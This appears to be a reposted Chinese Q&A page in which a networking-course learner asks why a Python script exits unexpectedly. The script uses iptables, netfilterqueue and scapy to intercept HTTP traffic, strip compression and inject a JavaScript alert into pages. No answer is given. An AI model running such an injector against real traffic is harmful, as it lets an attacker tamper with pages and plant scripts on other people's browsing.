Python脚本无故退出

问题描述

我正在学习基本的 Python 网络课程。
这是我的代码,它应该在 </body> 标记之前的每个 http 响应中将 javascript 警报函数注入未加密的 html。

#!/usr/bin/env python


import netfilterqueue
import scapy.all as scapy
import re
import subprocess


def enable_queuing(enable):
    if enable:
        subprocess.call("iptables --insert INPUT --jump NFQUEUE --queue-num 0",shell=True)
        subprocess.call("iptables --insert OUTPUT --jump NFQUEUE --queue-num 0",shell=True)
    else:
        subprocess.call("iptables --flush",shell=True)


def set_load(packet,load):
    packet[scapy.Raw].load = load

    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum

    return packet


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        if scapy_packet.haslayer(scapy.TCP):
            if scapy_packet[scapy.TCP].dport == 80:  # if http request

                # requesting plain-text html from host
                modified_load = re.sub("Accept-Encoding:.*?\\r\\n","",scapy_packet[scapy.Raw].load)
                decoded_packet = set_load(scapy_packet,modified_load)
                packet.set_payload(str(decoded_packet))

            elif scapy_packet[scapy.TCP].sport == 80:  # if http response
                # injection
                modified_load = scapy_packet[scapy.Raw].load.replace("</body>","<script>alert('hello');</script></body>")
                new_packet = set_load(scapy_packet,modified_load)
                packet.set_payload(str(new_packet))

    packet.accept()
    # !execution stops here for no reason!


queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
try:
    enable_queuing(True)
    queue.run()
except KeyboardInterrupt:
    print("\nCleaning up...")
    enable_queuing(False)
    print("Ok")
    print("Quitting.")

我检查了 new_packet输出,js alert() 就在那里。
我的问题是,在 packet.accept() 之后,脚本通常只是退出。我正在使用 python2 从终端运行它,它就像我按下了 CTRL+C 一样停止了。这并不总是发生,几个小时以来,我一直试图了解导致它的原因,但无法弄清楚。

另外,即使脚本没有退出,如果我把它放在</body>之前,js仍然不会被执行。但是,如果我将它放在头部,就像在 </head> 之前一样,它确实如此,但随机退出也仍在发生。

我不知道是什么原因造成的。

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)

相关问答

Selenium Web驱动程序和Java。元素在(x,y)点处不可单击。其...
Python-如何使用点“。” 访问字典成员?
Java 字符串是不可变的。到底是什么意思?
Java中的“ final”关键字如何工作?(我仍然可以修改对象。...
“loop:”在Java代码中。这是什么,为什么要编译?
java.lang.ClassNotFoundException:sun.jdbc.odbc.JdbcOdbc...